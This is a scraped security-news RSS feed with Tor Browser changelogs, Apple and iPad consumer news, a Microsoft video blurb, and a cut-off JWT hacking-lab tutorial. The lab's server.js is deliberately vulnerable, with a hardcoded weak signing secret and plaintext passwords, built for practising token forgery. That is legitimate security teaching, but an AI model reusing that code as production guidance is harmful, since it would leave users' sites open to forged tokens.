<p>If you find a bug or have a suggestion for how we could improve this release, <a href="https://support.torproject.org/misc/bug-or-feedback/">please let us know</a>.</p>
<h2>Full changelog</h2>
<p>The <a href="https://gitlab.torproject.org/tpo/applications/tor-browser-build/-/raw/maint-15.0/projects/browser/Bundle-Data/Docs-TBB/ChangeLog.txt">full changelog</a> since Tor Browser 15.0.16 is:</p>
<ul>
<li>All Platforms<ul>
<li>Updated NoScript to 13.6.24.1984</li>
<li>Updated OpenSSL to 3.5.7</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/45044">Bug tor-browser#45044</a>: NS 13.6.19.902 DocStartInjection regressed</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/45046">Bug tor-browser#45046</a>: Rebase Tor Browser stable onto 140.12.0esr</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/45054">Bug tor-browser#45054</a>: Backport Security Fixes from Firefox 152</li>
</ul>
</li>
<li>Windows + macOS + Linux<ul>
<li>Updated Firefox to 140.12.0esr</li>
</ul>
</li>
<li>Android<ul>
<li>Updated GeckoView to 140.12.0esr</li>
</ul>
</li>
<li>Build System<ul>
<li>All Platforms<ul>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser-build/-/issues/41802">Bug tor-browser-build#41802</a>: Remove the tor daemon requirement for signing</li>
</ul>
</li>
<li>Windows + Linux + Android<ul>
<li>Updated Go to 1.25.11</li>
</ul>
</li>
</ul>
</li>
</ul>

    </div>
  <div class="categories">
    <ul><li>
        <a href="https://blog.torproject.org/category/applications">
          applications
        </a>
      </li><li>
        <a href="https://blog.torproject.org/category/releases">
          releases
        </a>
      </li></ul>
  </div>
  </article>]]></content:encoded>
</item>
<item>
<title><![CDATA[New Release: Tor Browser 15.0.17]]></title>
<description><![CDATA[Tor Browser 15.0.17 is now available from the Tor Browser download page and also from our distribution directory.
This version includes important security updates to Tor.
Send us your feedback
If you find a bug or have a suggestion for how we could improve this release, please let us know.
Full c...]]></description>
<link>https://tsecurity.de/de/3687541/it-security-tools/new-release-tor-browser-15017/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687541/it-security-tools/new-release-tor-browser-15017/</guid>
<pubDate>Wed, 22 Jul 2026 22:34:41 +0200</pubDate>
<category>💾 IT Security Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<article class="blog-post">
    <picture>
      <source media="(min-width:415px)" srcset="https://blog.torproject.org/new-release-tor-browser-15017/lead.webp" type="image/webp">
<source srcset="https://blog.torproject.org/new-release-tor-browser-15017/lead_small.webp" type="image/webp">

      <img class="lead" referrerpolicy="no-referrer" loading="lazy" src="https://blog.torproject.org/new-release-tor-browser-15017/lead.png">
    </picture>
    <div class="body"><p>Tor Browser 15.0.17 is now available from the <a href="https://www.torproject.org/download/">Tor Browser download page</a> and also from our <a href="https://www.torproject.org/dist/torbrowser/15.0.17/">distribution directory</a>.</p>
<p>This version includes important <a href="https://forum.torproject.org/t/security-release-0-4-9-11/21786">security updates</a> to Tor.</p>
<h2>Send us your feedback</h2>
<p>If you find a bug or have a suggestion for how we could improve this release, <a href="https://support.torproject.org/misc/bug-or-feedback/">please let us know</a>.</p>
<h2>Full changelog</h2>
<p>The <a href="https://gitlab.torproject.org/tpo/applications/tor-browser-build/-/raw/maint-15.0/projects/browser/Bundle-Data/Docs-TBB/ChangeLog.txt">full changelog</a> since Tor Browser 15.0.16 is:</p>
<ul>
<li>All Platforms<ul>
<li>Updated Tor to 0.4.9.11</li>
<li>Updated NoScript to 13.6.25.1984</li>
</ul>
</li>
<li>Build System<ul>
<li>All Platforms<ul>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser-build/-/issues/41821">Bug tor-browser-build#41821</a>: Update gpg subkeys for boklm</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser-build/-/issues/41827">Bug tor-browser-build#41827</a>: Update morgan's keychain with renewed key</li>
</ul>
</li>
</ul>
</li>
</ul>

    </div>
  <div class="categories">
    <ul><li>
        <a href="https://blog.torproject.org/category/applications">
          applications
        </a>
      </li><li>
        <a href="https://blog.torproject.org/category/releases">
          releases
        </a>
      </li></ul>
  </div>
  </article>]]></content:encoded>
</item>
<item>
<title><![CDATA[New Alpha Release: Tor Browser 16.0a8]]></title>
<description><![CDATA[Tor Browser 16.0a8 is now available from the Tor Browser download page and also from our distribution directory.
This version includes important security updates to Firefox.
⚠️ Reminder: The Tor Browser Alpha release-channel is for testing only. As such, Tor Browser Alpha is not intended for gene...]]></description>
<link>https://tsecurity.de/de/3687537/it-security-tools/new-alpha-release-tor-browser-160a8/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687537/it-security-tools/new-alpha-release-tor-browser-160a8/</guid>
<pubDate>Wed, 22 Jul 2026 22:34:02 +0200</pubDate>
<category>💾 IT Security Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<article class="blog-post">
    <picture>
      <source media="(min-width:415px)" srcset="https://blog.torproject.org/new-alpha-release-tor-browser-160a8/lead.webp" type="image/webp">
<source srcset="https://blog.torproject.org/new-alpha-release-tor-browser-160a8/lead_small.webp" type="image/webp">

      <img class="lead" referrerpolicy="no-referrer" loading="lazy" src="https://blog.torproject.org/new-alpha-release-tor-browser-160a8/lead.png">
    </picture>
    <div class="body"><p>Tor Browser 16.0a8 is now available from the <a href="https://www.torproject.org/download/alpha/">Tor Browser download page</a> and also from our <a href="https://www.torproject.org/dist/torbrowser/16.0a8/">distribution directory</a>.</p>
<p>This version includes important <a href="https://www.mozilla.org/en-US/security/advisories/">security updates</a> to Firefox.</p>
<p>⚠️ <strong>Reminder</strong>: The Tor Browser Alpha release-channel is for <a href="https://community.torproject.org/user-research/become-tester/">testing only</a>. As such, Tor Browser Alpha is not intended for general use because it is more likely to include bugs affecting usability, security, and privacy.</p>
<p>Moreover, Tor Browser Alphas are now based on Firefox's betas. Please read more about this important change in the <a href="https://blog.torproject.org/future-of-tor-browser-alpha/">Future of Tor Browser Alpha</a> blog post.</p>
<p>If you are an at-risk user, require strong anonymity, or just want a reliably-working browser, please stick with the <a href="https://www.torproject.org/download/">stable release channel</a>.</p>
<h2>Send us your feedback</h2>
<p>If you find a bug or have a suggestion for how we could improve this release, <a href="https://support.torproject.org/misc/bug-or-feedback/">please let us know</a>.</p>
<h2>Full changelog</h2>
<p>The <a href="https://gitlab.torproject.org/tpo/applications/tor-browser-build/-/raw/main/projects/browser/Bundle-Data/Docs-TBB/ChangeLog.txt">full changelog</a> since Tor Browser 16.0a7 is:</p>
<ul>
<li>All Platforms<ul>
<li>Updated NoScript to 13.6.25.90301984</li>
<li>Updated Tor to 0.4.9.11</li>
<li>Updated OpenSSL to 3.5.7</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/44857">Bug tor-browser#44857</a>: Drop <code>browser.display.use_system_colors</code> from our preference list</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/44896">Bug tor-browser#44896</a>: Review Mozilla 2030929: Remove unused pref privacy.partition.network_state</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/45018">Bug tor-browser#45018</a>: resistfingerprinting not available in appearance.mjs in 152</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/45019">Bug tor-browser#45019</a>: ReportBrokenSite startup error in 152</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/45047">Bug tor-browser#45047</a>: Cross-site oracle via worklet rejection error in Safer Mode</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/45072">Bug tor-browser#45072</a>: Disable XSLT already for 16.0</li>
</ul>
</li>
<li>Windows + macOS + Linux<ul>
<li>Updated Firefox to 152.0a1</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/44528">Bug tor-browser#44528</a>: Make sure desktop IP Protection is disabled on desktop</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/44795">Bug tor-browser#44795</a>: Revert BB 27604 patch as not needed anymore</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/44844">Bug tor-browser#44844</a>: Use new urlbar CSS variables</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/44888">Bug tor-browser#44888</a>: Use <code>--button-opacity-disabled</code> for disabled styling.</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/44955">Bug tor-browser#44955</a>: Use <code>context-fill</code> for <code>about-wordmark.svg</code></li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/44956">Bug tor-browser#44956</a>: Switch colours in letterboxing setting icons to match the tab-alignment icons</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/45016">Bug tor-browser#45016</a>: Several errors about EngineProcess.sys.mjs in 152</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/45017">Bug tor-browser#45017</a>: Wrong letterboxing background in 152</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/45037">Bug tor-browser#45037</a>: Potential runtime errors in the search service when changing JS status</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/45043">Bug tor-browser#45043</a>: Re-add missing changes to settings after 151/152 rebase</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/45083">Bug tor-browser#45083</a>: Error in about:preferences due to ipprotection missing</li>
</ul>
</li>
<li>macOS<ul>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/44728">Bug tor-browser#44728</a>: Bundled fonts are broken on macOS when the GPU process is enabled</li>
</ul>
</li>
<li>Linux<ul>
<li><a href="https://gitlab.torproject.org/tpo/applications/@%20libfontconfig.so.1/-/issues/45048">Bug @ libfontconfig.so.1#45048</a>: Backport Bugzilla 2041887: Crash in after users upgraded to fontconfig 2.18.0 [tor-browser]</li>
</ul>
</li>
<li>Android<ul>
<li>Updated GeckoView to 152.0a1</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/43856">Bug tor-browser#43856</a>: Fix onBackPressed() deprecation</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/44091">Bug tor-browser#44091</a>: Add frequent regions to tor connection assist for android</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/44175">Bug tor-browser#44175</a>: Remove all default browser functionality (Android)</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/44769">Bug tor-browser#44769</a>: TBA crash screen has firefox asset as well as a "Send crash report" button</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/45052">Bug tor-browser#45052</a>: Initialise Tor modules on android in the same order as desktop</li>
</ul>
</li>
<li>Build System<ul>
<li>All Platforms<ul>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser-build/-/issues/41802">Bug tor-browser-build#41802</a>: Remove the tor daemon requirement for signing</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser-build/-/issues/41809">Bug tor-browser-build#41809</a>: Update toolchains for Firefox 152</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser-build/-/issues/41813">Bug tor-browser-build#41813</a>: Disable build artifacts in <code>make generate_gradle_dependencies_list-geckoview</code></li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser-build/-/issues/41821">Bug tor-browser-build#41821</a>: Update gpg subkeys for boklm</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser-build/-/issues/41823">Bug tor-browser-build#41823</a>: Add versions information to the toolchain list update</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser-build/-/issues/41827">Bug tor-browser-build#41827</a>: Update morgan's keychain with renewed key</li>
</ul>
</li>
<li>Windows + Linux + Android<ul>
<li>Updated Go to 1.26.4</li>
</ul>
</li>
<li>Windows<ul>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser-build/-/issues/41810">Bug tor-browser-build#41810</a>: Define GetAddrInfoExCancel on mingw</li>
</ul>
</li>
<li>Android<ul>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/45086">Bug tor-browser#45086</a>: Compress omni.ja with xz on Android</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser-build/-/issues/41830">Bug tor-browser-build#41830</a>: Update the browser project to change omni.ja.xz</li>
</ul>
</li>
</ul>
</li>
</ul>

    </div>
  <div class="categories">
    <ul><li>
        <a href="https://blog.torproject.org/category/applications">
          applications
        </a>
      </li><li>
        <a href="https://blog.torproject.org/category/releases">
          releases
        </a>
      </li></ul>
  </div>
  </article>]]></content:encoded>
</item>
<item>
<title><![CDATA[New Release: Tor Browser 15.0.18]]></title>
<description><![CDATA[Tor Browser 15.0.18 is now available from the Tor Browser download page and also from our distribution directory.
This version includes important security updates to Firefox.
Send us your feedback
If you find a bug or have a suggestion for how we could improve this release, please let us know.
Fu...]]></description>
<link>https://tsecurity.de/de/3687536/it-security-tools/new-release-tor-browser-15018/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687536/it-security-tools/new-release-tor-browser-15018/</guid>
<pubDate>Wed, 22 Jul 2026 22:33:08 +0200</pubDate>
<category>💾 IT Security Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<article class="blog-post">
    <picture>
      <source media="(min-width:415px)" srcset="https://blog.torproject.org/new-release-tor-browser-15018/lead.webp" type="image/webp">
<source srcset="https://blog.torproject.org/new-release-tor-browser-15018/lead_small.webp" type="image/webp">

      <img class="lead" referrerpolicy="no-referrer" loading="lazy" src="https://blog.torproject.org/new-release-tor-browser-15018/lead.png">
    </picture>
    <div class="body"><p>Tor Browser 15.0.18 is now available from the <a href="https://www.torproject.org/download/">Tor Browser download page</a> and also from our <a href="https://www.torproject.org/dist/torbrowser/15.0.18/">distribution directory</a>.</p>
<p>This version includes important <a href="https://www.mozilla.org/en-US/security/advisories/">security updates</a> to Firefox.</p>
<h2>Send us your feedback</h2>
<p>If you find a bug or have a suggestion for how we could improve this release, <a href="https://support.torproject.org/misc/bug-or-feedback/">please let us know</a>.</p>
<h2>Full changelog</h2>
<p>The <a href="https://gitlab.torproject.org/tpo/applications/tor-browser-build/-/raw/maint-15.0/projects/browser/Bundle-Data/Docs-TBB/ChangeLog.txt">full changelog</a> since Tor Browser 15.0.17 is:</p>
<ul>
<li>All Platforms<ul>
<li>Updated NoScript to 13.6.30.1984</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/45111">Bug tor-browser#45111</a>: Cherry-pick latest firefox/esr140 commits on 140.12.0esr</li>
</ul>
</li>
<li>Build System<ul>
<li>All Platforms<ul>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser-build/-/issues/41821">Bug tor-browser-build#41821</a>: Update gpg subkeys for boklm</li>
</ul>
</li>
<li>Windows + Linux + Android<ul>
<li>Updated Go to 1.25.12</li>
</ul>
</li>
</ul>
</li>
</ul>

    </div>
  <div class="categories">
    <ul><li>
        <a href="https://blog.torproject.org/category/applications">
          applications
        </a>
      </li><li>
        <a href="https://blog.torproject.org/category/releases">
          releases
        </a>
      </li></ul>
  </div>
  </article>]]></content:encoded>
</item>
<item>
<title><![CDATA[New Release: Tor Browser 15.0.19]]></title>
<description><![CDATA[Tor Browser 15.0.19 is now available from the Tor Browser download page and also from our distribution directory.
This version includes important security updates to Firefox.
Send us your feedback
If you find a bug or have a suggestion for how we could improve this release, please let us know.
Fu...]]></description>
<link>https://tsecurity.de/de/3687535/it-security-tools/new-release-tor-browser-15019/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687535/it-security-tools/new-release-tor-browser-15019/</guid>
<pubDate>Wed, 22 Jul 2026 22:32:48 +0200</pubDate>
<category>💾 IT Security Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<article class="blog-post">
    <picture>
      <source media="(min-width:415px)" srcset="https://blog.torproject.org/new-release-tor-browser-15019/lead.webp" type="image/webp">
<source srcset="https://blog.torproject.org/new-release-tor-browser-15019/lead_small.webp" type="image/webp">

      <img class="lead" referrerpolicy="no-referrer" loading="lazy" src="https://blog.torproject.org/new-release-tor-browser-15019/lead.png">
    </picture>
    <div class="body"><p>Tor Browser 15.0.19 is now available from the <a href="https://www.torproject.org/download/">Tor Browser download page</a> and also from our <a href="https://www.torproject.org/dist/torbrowser/15.0.19/">distribution directory</a>.</p>
<p>This version includes important <a href="https://www.mozilla.org/en-US/security/advisories/">security updates</a> to Firefox.</p>
<h2>Send us your feedback</h2>
<p>If you find a bug or have a suggestion for how we could improve this release, <a href="https://support.torproject.org/misc/bug-or-feedback/">please let us know</a>.</p>
<h2>Full changelog</h2>
<p>The <a href="https://gitlab.torproject.org/tpo/applications/tor-browser-build/-/raw/maint-15.0/projects/browser/Bundle-Data/Docs-TBB/ChangeLog.txt">full changelog</a> since Tor Browser 15.0.18 is:</p>
<ul>
<li>All Platforms<ul>
<li>Updated NoScript to 13.6.31.1984</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/44748">Bug tor-browser#44748</a>: Revert Funding the Commons Implementations</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/45117">Bug tor-browser#45117</a>: Rebase Tor Browser stable onto 140.13.0esr</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/45124">Bug tor-browser#45124</a>: Backport Security Fixes from Firefox 153</li>
</ul>
</li>
<li>Windows + macOS + Linux<ul>
<li>Updated Firefox to 140.13.0esr</li>
</ul>
</li>
<li>Android<ul>
<li>Updated GeckoView to 140.13.0esr</li>
</ul>
</li>
<li>Build System<ul>
<li>All Platforms<ul>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser-build/-/issues/41838">Bug tor-browser-build#41838</a>: Update personal_access_tokens URL in tools/fetch_changelogs.py</li>
</ul>
</li>
<li>Windows<ul>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser-build/-/issues/41819">Bug tor-browser-build#41819</a>: Fix windows-rs URL in projects/firefox/config</li>
</ul>
</li>
</ul>
</li>
</ul>

    </div>
  <div class="categories">
    <ul><li>
        <a href="https://blog.torproject.org/category/applications">
          applications
        </a>
      </li><li>
        <a href="https://blog.torproject.org/category/releases">
          releases
        </a>
      </li></ul>
  </div>
  </article>]]></content:encoded>
</item>
<item>
<title><![CDATA[Apple Partners With Klarna To Offer iPhones, Macs On a Subscription Basis]]></title>
<description><![CDATA[Apple is reportedly launching a Klarna financing deal that will let U.S. customers spread the cost of devices over up to three years, pushing the company closer to a hardware-as-a-service model. "The only thing you don't get under the new arrangement is AppleCare, for which you'll allegedly need ...]]></description>
<link>https://tsecurity.de/de/3687501/it-security-nachrichten/apple-partners-with-klarna-to-offer-iphones-macs-on-a-subscription-basis/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687501/it-security-nachrichten/apple-partners-with-klarna-to-offer-iphones-macs-on-a-subscription-basis/</guid>
<pubDate>Wed, 22 Jul 2026 22:12:27 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Apple is reportedly launching a Klarna financing deal that will let U.S. customers spread the cost of devices over up to three years, pushing the company closer to a hardware-as-a-service model. "The only thing you don't get under the new arrangement is AppleCare, for which you'll allegedly need to pay extra," notes Computerworld. From the report: The introduction of the scheme gives consumers a way to purchase the company's popular high-end devices when they are introduced -- no doubt,at higher cost -- this fall. [...] A combination of changed customer habits and external threat means the stars are now aligned for hardware-as-a-service models. "Reframing a device as a low monthly payment protects that [upgrade] cadence and allows Apple to start marketing their products as device-as-a-service to consumers, which no other vendor was ever able to do," [IDC analyst Francisco Jeronimo] wrote to me.
 
There is a one-more-thing aspect to this: the products are effectively being leased, a new approach that will give Apple a stronger grip on EOL devices, helping it grab more of them for refurbishment, resale, and recycling. Over time, this will give the company a much stronger grip on the lucrative second-user market that exists around Apple equipment, even while for almost every consumer product we find the life we want is something we can rent, but probably can't afford to own.
 
The other solid reason to take a partnership approach is risk management. Apple had intended to develop its own buy-now, pay-later scheme via Apple Pay Later, but abandoned that plan as it became riskier with rising bank rates. "Also, by backing the program with Klarna rather than reviving the in-house subscription plan it shelved in 2024, Apple captures the demand upside without taking the credit risk onto its own balance sheet," Jeronimo said. 
"Apple Upgrade lands at precisely the moment Apple needs it," Jeronimo wrote in a note seen by Computerworld. "Having just pushed Mac and iPad prices up on the back of the memory shortage, with iPhone increases widely expected in September -- as well as the new iPhone foldable expected at $2,500 -- Apple's real risk is that rising prices even further can impact the upgrade cycle."<p></p><div class="share_submission">
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</div><p><a href="https://hardware.slashdot.org/story/26/07/22/1958256/apple-partners-with-klarna-to-offer-iphones-macs-on-a-subscription-basis?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
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<title><![CDATA[Security Insider Conversation]]></title>
<description><![CDATA[Author: Microsoft Security - Bewertung: 2x - Views:8 AI Security w/out the noise - how to eval 3P AI tools w/out flooding your SOC 

Find the more details at: https://msft.it/6053v4N97

#MicrosoftSecurity #MISA #SRA]]></description>
<link>https://tsecurity.de/de/3687498/it-security-video/security-insider-conversation/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687498/it-security-video/security-insider-conversation/</guid>
<pubDate>Wed, 22 Jul 2026 22:07:16 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: Microsoft Security - Bewertung: 2x - Views:8 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/oEBxDk3bLBU?autoplay=1&origin=http://tsecurity.de" frameborder="0"></iframe></p><p>AI Security w/out the noise - how to eval 3P AI tools w/out flooding your SOC <br />
<br />
Find the more details at: https://msft.it/6053v4N97<br />
<br />
#MicrosoftSecurity #MISA #SRA<br/></p>]]></content:encoded>
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<title><![CDATA[Price-hiked iPads are a little cheaper right now]]></title>
<description><![CDATA[A number of Apple products got more expensive last month, so we’re happy to find deals wherever and whenever we can. If you’re searching for a high-end iPad, one of the more notable deals currently happening is on the 13-inch iPad Pro M5 with 512GB of storage. Normally $1,699, it’s $150 off at Am...]]></description>
<link>https://tsecurity.de/de/3687429/it-nachrichten/price-hiked-ipads-are-a-little-cheaper-right-now/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687429/it-nachrichten/price-hiked-ipads-are-a-little-cheaper-right-now/</guid>
<pubDate>Wed, 22 Jul 2026 21:21:08 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A number of Apple products got more expensive last month, so we’re happy to find deals wherever and whenever we can. If you’re searching for a high-end iPad, one of the more notable deals currently happening is on the 13-inch iPad Pro M5 with 512GB of storage. Normally $1,699, it’s $150 off at Amazon, costing […]]]></content:encoded>
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<title><![CDATA[Two Ways To Mess Up Your JWT Safety Net In Your Own Lab.]]></title>
<description><![CDATA[In the lab we’re going to build today, we’ll talk about JWTs and how they can affect the security of your website. This is a lab that’s been requested, and I could not be happier that the community is actually suggesting things for me to build. It’s a privilege to do this.JWT As Security MeasureJ...]]></description>
<link>https://tsecurity.de/de/3687361/hacking/two-ways-to-mess-up-your-jwt-safety-net-in-your-own-lab/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687361/hacking/two-ways-to-mess-up-your-jwt-safety-net-in-your-own-lab/</guid>
<pubDate>Wed, 22 Jul 2026 20:59:45 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FyQaXz8HeN3WWQ1vBcOBPA.png"></figure><p>In the lab we’re going to build today, we’ll talk about JWTs and how they can affect the security of your website. This is a lab that’s been requested, and I could not be happier that the community is actually suggesting things for me to build. It’s a privilege to do this.</p><h3>JWT As Security Measure</h3><p>JSON Web Tokens are used a lot by developers. They provide a way to send ‘data’ with them (e.g., a role from a user), to check for authorization. A JWT consists of 3 parts, separated by a ..</p><p>Let’s take this JWT as an example.</p><pre>eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWUsImlhdCI6MTUxNjIzOTAyMn0.KMUFsIDTnFmyG3nMiGM6H9FNFUROf3wh7SmqJp-QV30</pre><p>The first part eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9 is called 'the header'. It holds information on the type of the JWT. The second part eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWUsImlhdCI6MTUxNjIzOTAyMn0 is the payload, which holds the claims. This is where that 'data' lives. If you decode this with Base64url you'll learn that this token belongs to John Doe and that he is an administrator. The last part is the important part. This is the signature. Each JWT should be signed with a <strong>strong</strong> password. Ideally that password is saved in a .env file on the server and not in the code.</p><p>So now you might wonder, well if it’s signed, nothing can go wrong right? Well, if that were true, I wouldn’t spend my evenings writing these kinds of blog posts now would I 😅.</p><h3>Let’s Build The Lab Already</h3><p>You’re right to think this by now. Enough theory, let’s do some hands on keyboard. As always in this series, I’ll provide you with the lab structure and some code to get us started.</p><h3>Lab Tree</h3><pre>/mediumLabs<br>└── /JWT<br>    ├── server.js<br>    ├── login.html<br>    ├── index.html<br>    ├── admin.html<br>    ├── /node_modules<br>    ├── /package-lock.json<br>    └── /package.json</pre><h3>Code</h3><p><strong>server.js</strong></p><pre>const express = require('express');<br>const jwt = require('jsonwebtoken');<br>const path = require('path');<br>const Database = require('better-sqlite3');<br>const app = express();<br>const JWT_SECRET = 'secret';<br>const db = new Database(':memory:');<br>db.exec(`<br>  CREATE TABLE users (<br>    id INTEGER PRIMARY KEY,<br>    username TEXT,<br>    password TEXT,<br>    role TEXT<br>  )<br>`);<br>db.prepare("INSERT INTO users (username, password, role) VALUES ('user', 'password', 'user')").run();<br>app.use(express.urlencoded({ extended: false }));<br><br>app.get('/', (req, res) =&gt; res.sendFile(path.join(__dirname, 'login.html')));<br>function getToken(req) {<br>  const match = (req.headers.cookie || '').match(/token=([^;]+)/);<br>  return match ? match[1] : null;<br>}<br>app.post('/login', (req, res) =&gt; {<br>  const { username, password } = req.body;<br>  const user = db.prepare('SELECT * FROM users WHERE username = ? AND password = ?').get(username, password);<br>  if (!user) return res.redirect('/?error=Invalid+credentials');<br>  const token = jwt.sign({ username: user.username, role: user.role }, JWT_SECRET);<br>  res.setHeader('Set-Cookie', `token=${token}; Path=/`);<br>  res.redirect('/index.html');<br>});<br>app.get('/index.html', (req, res) =&gt; {<br>  try {<br>    res.sendFile(path.join(__dirname, 'index.html'));<br>  } catch {<br>    res.redirect('/');<br>  }<br>});<br>app.get('/admin', (req, res) =&gt; {<br>});<br><br>app.listen(3000, () =&gt; console.log('Listening on http://localhost:3000'));</pre><p><strong>login.html</strong></p><pre>&lt;!DOCTYPE html&gt;<br>&lt;html lang="en"&gt;<br>&lt;head&gt;<br>    &lt;meta charset="UTF-8"&gt;<br>    &lt;meta name="viewport" content="width=device-width, initial-scale=1.0"&gt;<br>    &lt;title&gt;Login&lt;/title&gt;<br>&lt;/head&gt;<br>&lt;body&gt;<br>    &lt;h1&gt;Login&lt;/h1&gt;<br>    &lt;form method="POST" action="/login"&gt;<br>        &lt;div&gt;<br>            &lt;label&gt;Username: &lt;input type="text" name="username" required&gt;&lt;/label&gt;<br>        &lt;/div&gt;<br>        &lt;div&gt;<br>            &lt;label&gt;Password: &lt;input type="password" name="password" required&gt;&lt;/label&gt;<br>        &lt;/div&gt;<br>        &lt;button type="submit"&gt;Login&lt;/button&gt;<br>    &lt;/form&gt;<br>&lt;/body&gt;<br>&lt;/html&gt;</pre><p><strong>index.html</strong></p><pre>&lt;!DOCTYPE html&gt;<br>&lt;html lang="en"&gt;<br>&lt;head&gt;<br>    &lt;meta charset="UTF-8"&gt;<br>    &lt;meta name="viewport" content="width=device-width, initial-scale=1.0"&gt;<br>    &lt;title&gt;Home&lt;/title&gt;<br>&lt;/head&gt;<br>&lt;body&gt;<br>    &lt;h1&gt;Welcome!&lt;/h1&gt;<br>    &lt;p&gt;You are logged in as &lt;strong id="username"&gt;&lt;/strong&gt;.&lt;/p&gt;<br>    &lt;p&gt;&lt;a href="/admin"&gt;Go to Admin Panel&lt;/a&gt;&lt;/p&gt;<br>    &lt;br&gt;<br>&lt;script&gt;<br>        function getCookie(name) {<br>            return document.cookie.split('; ').find(r =&gt; r.startsWith(name + '='))?.split('=')[1];<br>        }<br>        function decodeJWT(token) {<br>            return JSON.parse(atob(token.split('.')[1]));<br>        }<br>        const token = getCookie('token');<br>        const payload = decodeJWT(token);<br>        document.getElementById('username').textContent = payload.username + ' (role: ' + payload.role + ')';<br>    &lt;/script&gt;<br>&lt;/body&gt;<br>&lt;/html&gt;</pre><p><strong>admin.html</strong></p><pre>&lt;!DOCTYPE html&gt;<br>&lt;html lang="en"&gt;<br>&lt;head&gt;<br>    &lt;meta charset="UTF-8"&gt;<br>    &lt;meta name="viewport" content="width=device-width, initial-scale=1.0"&gt;<br>    &lt;title&gt;Admin Panel&lt;/title&gt;<br>&lt;/head&gt;<br>&lt;body id="page"&gt;<br>&lt;h1&gt;Admin Panel&lt;/h1&gt;<br>    &lt;p&gt;Welcome, admin. Here is the secret flag:&lt;/p&gt;<br>    